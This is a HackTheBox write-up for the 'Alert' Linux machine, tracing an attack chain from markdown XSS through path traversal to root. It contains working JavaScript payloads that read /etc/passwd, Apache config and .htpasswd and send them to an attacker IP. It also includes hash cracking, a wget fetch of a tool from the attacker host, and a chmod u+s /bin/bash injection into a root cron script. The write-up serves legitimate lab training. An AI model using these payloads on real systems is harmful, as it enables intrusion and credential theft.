HTB: Alert Writeup
Alert - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Alert |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 18th March 2025 |
| IP Address | 10.10.11.44 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Alert is an easy-difficulty Linux machine featuring a markdown file sharing website vulnerable to Cross-Site Scripting (XSS). By exploiting the XSS vulnerability, attackers can execute arbitrary JavaScript in the administrator’s browser context, leading to discovery of an Arbitrary File Read vulnerability in messages.php. This vulnerability is leveraged to extract the .htpasswd file containing hashed credentials. After cracking the hash, SSH access is obtained. Privilege escalation is achieved by exploiting a PHP script running as root with excessive group permissions, allowing arbitrary file modification and command execution.
TL;DR: XSS → Arbitrary File Read → Credential Extraction → SSH Access → Group-Writable PHP Script → Root RCE
Reconnaissance
Port Scanning
# Initial full port scanports=$(nmap -p- --min-rate=1000 -T4 10.10.11.44 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service enumerationnmap -p$ports -sC -sV 10.10.11.44Results:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 |
| 80 | HTTP | Apache httpd 2.4.41 (Ubuntu) |
The HTTP server redirects to http://alert.htb, indicating virtual host configuration. Add this to /etc/hosts:
echo "10.10.11.44 alert.htb" | sudo tee -a /etc/hostsService Enumeration
HTTP - Port 80:
Browsing to alert.htb reveals a markdown file upload and sharing platform. The site includes an “About Us” page with a disclaimer stating that administrators review submitted messages, suggesting potential for administrator interaction.
Directory Fuzzing:
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ \ -u "http://alert.htb/FUZZ" -icDiscovered directories: uploads, css, messages
PHP File Enumeration:
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ \ -u "http://alert.htb/FUZZ" -ic -e .phpKey findings: contact.php, messages.php, index.php
Subdomain Enumeration:
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ \ -H "Host: FFUZ.alert.htb" -u http://alert.htb -fw 20Discovered: statistics.alert.htb (returns HTTP 401 - requires authentication)
Vulnerability Assessment
- Cross-Site Scripting (XSS) in markdown rendering engine
- Arbitrary File Read vulnerability in
messages.phpvia path traversal - Weak Access Control on group-writable PHP scripts running as root
- HTTP Basic Authentication using Apache apr1 hashing (crackable)
Initial Foothold
Exploitation Path
Step 1: Confirm XSS Vulnerability
Create a markdown file with basic XSS payload:
<!-- XSS with script tag --><script> alert(1)</script>
<!-- XSS with img tag --><img src="x" onerror="alert(1)" />Upload and view the markdown file. The alert(1) confirms XSS execution in the administrator’s browser.
Step 2: Extract Administrator Credentials via File Read
The contact form allows message submission, and the administrator will review it. Craft a payload to read messages.php:
// pwned.js - Payload to extract messages.php contentvar req = new XMLHttpRequest();req.open('GET', 'http://alert.htb/messages.php', false);req.send();var req2 = new XMLHttpRequest();req2.open('GET', 'http://10.10.14.5:3000/?content=' + btoa(req.responseText), true);req2.send();Create a markdown file referencing the external JavaScript:
<script src="http://10.10.14.5:3000/pwned.js"></script>Start a Python HTTP server to receive the callback:
python3 -m http.server 3000# Output: Serving HTTP on 0.0.0.0 port 3000Upload the markdown and use the “Share” feature to get a shareable URL. Submit this URL via the Contact Us form.
Monitor the server for incoming requests:
# Received request with base64-encoded messages.php content10.10.11.44 - - [18/Mar/2025 08:05:35] "GET /?content=PGgxPk1lc3NhZ2VzPC9oMT4... HTTP/1.1"Decode the Base64 response:
echo "PGgxPk1lc3NhZ2VzPC9oMT48dWw+PGxpPjxhIGhyZWY9J21lc3NhZ2VzLnBocD9maWxlPTIwMjQtMDMtMTBfMTUtNDgtMzQudHh0Jz4yMDI0LTAzLTEwXzE1LTQ4LTM0LnR4dDwvYT48L2xpPjwvdWw+Cg==" | base64 -d# Output: <h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>Step 3: Discover Path Traversal in messages.php
The file parameter appears vulnerable to path traversal. Test with /etc/passwd:
// Payload to read /etc/passwdvar req = new XMLHttpRequest();req.open('GET', 'http://alert.htb/messages.php?file=../../../../../etc/passwd', false);req.send();var req2 = new XMLHttpRequest();req2.open('GET', 'http://10.10.14.5:3000/?content=' + btoa(req.responseText), true);req2.send();Create a new markdown file with this payload, share it, and submit via contact form. Decode the response:
# Response contains /etc/passwd file# Key users identified: albert (UID 1000), david (UID 1001)Step 4: Extract Apache Authentication Credentials
Read the Apache virtual host configuration:
var req = new XMLHttpRequest();req.open('GET', 'http://alert.htb/messages.php?file=../../../../../etc/apache2/sites-available/000-default.conf', false);req.send();var req2 = new XMLHttpRequest();req2.open('GET', 'http://10.10.14.5:3000/?content=' + btoa(req.responseText), true);req2.send();The decoded response reveals:
<Directory /var/www/statistics.alert.htb> Options Indexes FollowSymLinks MultiViews AllowOverride All AuthType Basic AuthName "Restricted Area" AuthUserFile /var/www/statistics.alert.htb/.htpasswd Require valid-user</Directory>Extract the .htpasswd file:
var req = new XMLHttpRequest();req.open('GET', 'http://alert.htb/messages.php?file=../../../../../var/www/statistics.alert.htb/.htpasswd', false);req.send();var req2 = new XMLHttpRequest();req2.open('GET', 'http://10.10.14.5:3000/?content=' + btoa(req.responseText), true);req2.send();Decode the base64 response:
echo "PHByZT5hbGJlcnQ6JGFwcjEkYk1vUkJKT2ckaWdHOFdCdFExeFlEVFFkTGpTV1pRLwo8L3ByZT4K" | base64 -d# Output: <pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/</pre>Step 5: Crack Apache apr1 Hash
Use hashcat to crack the apr1 MD5 hash:
# Create hash fileecho '$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/' > hash.txt
# Crack with hashcat (mode 1600 = Apache $apr1$ MD5)hashcat -a 0 -m 1600 hash.txt /usr/share/wordlists/rockyou.txtResult: albert:manchesterunited
Step 6: Obtain SSH Access
ssh albert@alert.htb# Password: manchesterunited
# Verify accessalbert@alert:~$ iduid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
# Capture user flagalbert@alert:~$ cat /home/albert/user.txt<redacted>Privilege Escalation
Discovery Phase
Step 1: Identify Local Services
Check listening ports on the target:
albert@alert:~$ netstat -tulnp(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.)Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -tcp6 0 0 :::80 :::* LISTEN -tcp6 0 0 :::22 :::* LISTEN -Port 8080 is listening locally. Forward it to the attacker machine:
ssh albert@alert.htb -L 8080:127.0.0.1:8080Access http://localhost:8080 reveals a “Website Monitor” application.
Step 2: Monitor Background Processes
Transfer and execute pspy to monitor running processes:
albert@alert:/tmp$ wget http://10.10.14.5:4000/pspy64salbert@alert:/tmp$ chmod +x pspy64salbert@alert:/tmp$ ./pspy64sRelevant output:
2025/03/18 12:55:01 CMD: UID=0 PID=32377 | /usr/bin/php -f /opt/website-monitor/monitor.php2025/03/18 12:55:01 CMD: UID=0 PID=32375 | /bin/sh -c /usr/bin/php -f /opt/website-monitor/monitor.php >/dev/null 2>&1The script runs as UID=0 (root) on a cron schedule.
Step 3: Examine Target Script
albert@alert:/tmp$ cat /opt/website-monitor/monitor.php<?php
include('config/configuration.php');
$monitors = json_decode(file_get_contents(PATH.'/monitors.json'));
foreach($monitors as $name => $url) { $response_data = array(); $timestamp = time(); $response_data[$timestamp]['timestamp'] = $timestamp; $curl = curl_init($url); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HEADER, true); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl);
# ... file operations ...
file_put_contents(PATH.'/monitors/'.$name, json_encode($data, JSON_PRETTY_PRINT));}The script includes config/configuration.php. Check file permissions:
albert@alert:/opt/website-monitor/config$ ls -latotal 12drwxrwxr-x 2 root management 4096 Oct 12 04:17 .-rwxrwxr-x 1 root management 49 Nov 5 14:31 configuration.php
albert@alert:/opt/website-monitor/config$ groupsalbert management
# Verify user can write to the filealbert@alert:/opt/website-monitor/config$ cat configuration.php<?phpdefine('PATH', '/opt/website-monitor/data');?>The management group (which albert belongs to) has write permissions on configuration.php, which is executed as root.
Exploitation
Step 4: Inject Malicious Code
Modify configuration.php to set SUID on /bin/bash:
albert@alert:/opt/website-monitor/config$ cat > configuration.php << 'EOF'<?phpsystem("chmod u+s /bin/bash");?>EOFWait for the cron job to execute (typically within a minute):
albert@alert:/opt/website-monitor/config$ watch -n 1 'ls -la /bin/bash'After the cron execution, verify SUID bit is set:
albert@alert:/opt/website-monitor/config$ ls -la /bin/bash-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bashStep 5: Gain Root Access
Execute bash with the SUID privilege:
albert@alert:/opt/website-monitor/config$ /bin/bash -pbash-5.0# whoamiroot
bash-5.0# iduid=1000(albert) gid=1000(albert) euid=0(root) groups=1000(albert),1001(management)Step 6: Capture Root Flag
bash-5.0# cat /root/root.txt<redacted>Attack Chain Summary
XSS in Markdown → Administrator Browser Execution ↓Craft JavaScript to Read messages.php via XMLHttpRequest ↓Discover Path Traversal in file parameter ↓Extract /etc/apache2/sites-available/000-default.conf ↓Identify .htpasswd location at /var/www/statistics.alert.htb/.htpasswd ↓Read .htpasswd → Extract albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/ ↓Crack apr1 hash with hashcat → manchesterunited ↓SSH Access as albert ↓Discover /opt/website-monitor/monitor.php runs as root via cron ↓Identify group-writable configuration.php in management group ↓Inject SUID command: chmod u+s /bin/bash ↓Wait for cron execution → /bin/bash -p → Root Shell ↓Root Access AchievedTools Used
| Tool | Purpose |
|---|---|
nmap | Network port and service discovery |
ffuf | Directory and file fuzzing |
curl | HTTP requests and testing |
netcat | Listener for reverse callbacks |
python3 -m http.server | HTTP server for exfiltration |
base64 | Encoding/decoding payload responses |
hashcat | Apache apr1 hash cracking |
ssh | Remote shell access and port forwarding |
pspy64s | Process monitoring and discovery |
netstat | Network connection enumeration |
Key Learnings
Techniques Practiced
- Cross-Site Scripting (XSS) via markdown rendering without sanitization
- Arbitrary File Read exploitation using path traversal
- Base64 Encoding/Decoding for data exfiltration
- Apache Authentication (.htpasswd) extraction and hash cracking
- Password Cracking with hashcat (apr1 MD5 hashing)
- Process Monitoring with pspy for privilege escalation discovery
- File Permission Exploitation leveraging group-writable scripts
- SUID Privilege Escalation via root-executed code injection
Lessons Learned
-
Input Validation is Critical - The markdown rendering engine failed to sanitize HTML/JavaScript, allowing XSS execution in administrator contexts. Always sanitize user input on both client and server side.
-
Path Traversal Prevention - The
messages.phpfile parameter failed to validate and restrict file access, allowing../sequences. Use whitelisting and proper input validation for file operations. -
Defense in Depth - Multiple layers of security failures (XSS → File Read → Credential Extraction → Weak File Permissions) allowed complete compromise. Implement multiple security controls at each layer.
-
Principle of Least Privilege - The
configuration.phpfile should be readable by the web process only, not writable by unprivileged users. Restrict group membership and file permissions strictly. -
Credential Protection - Apache credentials stored in
.htpasswdwith apr1 hashing were crackable. Use stronger hashing algorithms (bcrypt, scrypt, argon2). -
Process Monitoring - Background processes running as root should be monitored and secured. Regular scripts should validate inputs and operate with minimal privileges.
-
Real-world Relevance - This machine demonstrates a realistic attack chain combining multiple vulnerabilities (OWASP Top 10 items) commonly found in web applications.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>